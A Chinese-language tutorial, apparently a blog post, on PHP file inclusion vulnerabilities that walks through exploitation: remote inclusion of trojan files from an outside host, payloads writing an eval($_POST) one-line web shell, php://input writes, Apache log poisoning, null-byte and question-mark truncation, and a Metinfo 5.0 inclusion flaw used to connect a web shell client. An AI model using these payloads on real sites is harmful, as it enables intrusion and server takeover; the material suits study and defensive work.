什么是文件包含:包含就是程序人员把重复使用的函数或者函数写到单个文件中,使用函数时直接调用,而无需再次编写,则调用的过程称之为包含。
文件包含漏洞的原理:包含操作,大多数的web脚本语言都会提供的功能,但是php对包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在php 语言中,功能越大,漏洞也越多。
php的四个包含函数:
include():语句包含并运行指定文件。
include_once():和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含
require() :和include 几乎完全一样,包含失败时,终止脚本,而include warnning
require_once():和require几乎一样,但只包含一次
我们新建两个php文件,分别写入Index.php和LFI.php
Ok我们再用简单的一句代码来测试。
那么我们包含一个phpinfo的文件呢?这里我不用包含xx.php的文件,只要是文件的内容符合php语法规范,那么就会被web容器解析。
那么如果不符合规范呢?
若不符合规范则它会暴露源代码。
php不仅对本地文件可以包含,还可以对远程文件进行包含。
但是在写代码之前,我们要确认远程包含功能是否开启,php默认是关闭远程包含选项的。
我们可以打开php.ini文件修改配置文件,将allow_url_include = off //将off更改为on
我们可以远程包含我们远程主机的一些木马文件。
成功包含:http://localhost/LFI/index2.php?vaf=http://192.168.217.128/vaf.txt
• (1)读取敏感文件(这里不列举出来,到独自等待的博客查看)
http://www.waitalone.cn/mysql-injection-load_file-common-path.html
• (2)远程包含shell
http://www.hackvaf.com/index.php?page=http://xxx.com/xx.txt
可以导出一句话:<?fputs(fopen(“shell.php”, “w”),”<?php eval (\$_POST[‘vaf’]);?>”)?>
(allow_url_fopen() 要打开。)
• (3)本地包含配合文件上传
先通过头像,文档,相册等上传一个一句话,虽然没有办法直接解析执行,但是可以配合本地包含
• (4) 使用php封装伪协议
http://cn2.php.net/manual/zh/wrappers.php
学习伪协议可以在渗透中进一步挖出有用的信息
比如用伪协议读取和写入文件.
• 可以读取任意一个路径的文件,如果目标文件存在并且有相应的权限的话
得到的是一个base64加密后的字符串,还原后如下图。
写文件的话:如下
• http://xxx.com/index.php?page=php://input
如果写的是:<?fputs(fopen("shell.php","w"),"<? eval(\$_POST['vaf']);?>");?> (这里的$要转义)
那么这里就将生成一个一句话木马:<?eval($_POST['vaf']);?>
(5)包含日志文件
这个技巧解决了,本地包含不能上传马的问题,还是利用熟悉的Apache错误日志。
首先在配置文件中找到Apache日志的存放目录ErrorLog../logs/apache_error.log。在网上有很多集成的php环境,可能生成的日志文件名称不同,大部分是error.log、Access.log 其他的需要自己在实际渗透中收集。
之后构造一个错误的访问,使其被记录到日志中,这里注意浏览器会自动给url里面的字符编码,这里需要用其他方式模拟提交,不然包含是失败的。
我们用burpsuite就可以绕过,send torepeater 然后url decode。
再次查看日志发现已经没有被转化成url编码了~~
但是日志量如果过大,那么这个一句话木马会访问很慢,所以建议再上传个后门再进一步的渗透。
(5)包含环境变量
很多程序员以为截断包含很好修复,固定扩展名就行了。
代码如下:
<?php
if(isset($_GET['vaf'])){
include$_GET['vaf'].".php";
}
?>
如果你上传了图片 xx.jpg
输入:http://xxx.com/index.php?page=xx.jpg
包含图片就成为了: xx.jpg.php,但是这个文件是不存在的,所以就报错了。
(1)%00截断包含
但是这个并非不能绕过的,比如我们要说的%00截断。
那如果我们输入xx.jpg%00就可以成功包含了~~(但是挺重要的一点:仅限于php版本<php5.3,GPC关闭,没有使用addflashes等函数,因为%00,也就是NULL会被转义。)
(2)用英文的句号和反斜杠来截断
这种方法我根据seay大牛的方法,windows下240个./能截断,Linux下2038个./能截断,同样也是在php5.3之后被修复。
(3)根据解析漏洞来截断
这个很简单,文件上传的专题说过了,就不多提了。比如:IIS6.0的分好解析。
(4)远程文件包含利用问号伪截断
第三种方法很好用,不受GPC,addflashes和php版本的限制。只要能返回代码给包含函数,它就能执行。
HTTP协议里面访问:http://localhost/1.txt 和访问:http://localhost/1.txt?.php是一样的。
Web容器把问号之后的内容当做参数,而txt不在web容器里面解析,参数对访问1.txt的返回内容不影响,所以就实现了伪截断。
(5)关于LFI通过proc/self/environ拿webshell
环境还没下载好,学校的网络你懂的。。。
可以去看看这篇文章:http://www.thinksaas.cn/topics/0/662/662092.html
这里我们用到Metinfo这个cms。
这个cms5.0版本有一个远程文件包含漏洞。
我们先看看代码
这段代码的意思就是提交的参数如果不是index,那么则执行require_once $metid.'.php';来包含加载模块文件。
而这个地方调用模块是直接从GET请求中获取模块的名字。所以模块名可控,所以导致了远程包含。
但是如果是包phpinfo.php之类的文件,则显示空白(失败)。
那是因为,这里都$metid 这个变量进行了判断,这里用一个三目运算符进行判断,如果$metid是数字的话那么id=$metid
也就是放过去。如果不是数字的话,那么文件名则变成了$metid
比如你包含了1.txt,后面就是变成了1.txt.php,看下面这段代码,取得了$metid和php拼接。
这时候我们只需要在远程写一个txt用问号伪截断或者包含一个server不加扩展名。
连接菜刀的时候只要远程包含一个txt的木马用?截断即可。